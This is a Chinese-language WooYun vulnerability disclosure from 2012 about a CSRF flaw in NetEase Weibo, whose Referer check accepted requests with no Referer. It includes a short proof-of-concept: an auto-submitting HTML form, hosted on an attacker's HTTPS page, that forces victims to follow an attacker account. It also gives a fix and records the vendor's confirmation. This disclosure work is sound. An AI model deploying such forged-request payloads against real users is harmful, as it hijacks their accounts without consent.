当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-015729

漏洞标题:网易微博批量CSRF漏洞(referer检测不严格)

相关厂商:网易

漏洞作者: 小点兵

提交时间:2012-12-07 17:20

修复时间:2013-01-21 17:20

公开时间:2013-01-21 17:20

漏洞类型:CSRF

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-07: 细节已通知厂商并且等待厂商处理中
2012-12-10: 厂商已经确认,细节仅向厂商公开
2012-12-20: 细节向核心白帽子及相关领域专家公开
2012-12-30: 细节向普通白帽子公开
2013-01-09: 细节向实习白帽子公开
2013-01-21: 细节向公众公开

简要描述:

从域外https服务器提交的CSRF导致网易微博用户被动加关注,发微博,发私信,更改一些基本信息等.

详细说明:

网易微博检查http header里面的referer信息防止CSRF。然而,如果http header不包含referer,网易的代码依然会认为这是一个合法的提交。估计这个处理是为了让某些关闭浏览器referer功能的用户不受影响而设置的。但是,这个做法的直接后果是导致攻击者可以利用这一点继续进行攻击。
什么时候可以让浏览器发出的http请求不带referer? 答案很简单,https向http跳转的时候。攻击者控制一个网易微博域外的https服务器(这个很简单,攻击者可以用自己的机器搭建这么一个服务器,将攻击代码放在这个服务器上,比如attack.php,然后利用 <iframe src="https://xxxxx.xxxxx/attack.php">之类的标签将攻击扩散出去),attack.php里面可以写上:
<form name="form1" action="http://t.163.com/relation.do?action=follow" method="POST">
<input type="hidden" name="userId" value="Attacker ID">
</form>
<script language="javascript">
document.form1.submit()
</script>
用户一旦点击,将会强行关注Attacker ID。当然,还能发微博,更改一些个人信息,我这里就不一一举例子了,希望厂商将所有用户可以提交信息的地方都好好检查一下。
特别说明,弄一个https服务器,需要一个有效的证书。买证书很贵的。。。不过呢,几乎所有的证书提供商都支持试用,一般1个月。浏览器默认支持很多trusted CA,每个提供商,式他一个月,几年就下来了,嘿嘿
当然,如果大量的关注能带来预期的效益,证书这点小钱黑阔还是出的起的,呵呵

漏洞证明:

受到攻击前:

1.jpg


攻击过程:

网易微博attack1.jpg


attack2.jpg


受到攻击后:

网易微博2.jpg


修复方案:

将referer为空的提交视为非法提交。当然,这样可能一些正常用户会受到影响。建议用加入随机数,authenticity_token的方法,升级整个网站的CSRF检查。
另外,希望厂商也检查下其他网易子站的代码,看是否也受影响

版权声明:转载请注明来源 小点兵@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2012-12-10 13:27

厂商回复:

感谢您对网易的关注,漏洞已经修复。

最新状态:

暂无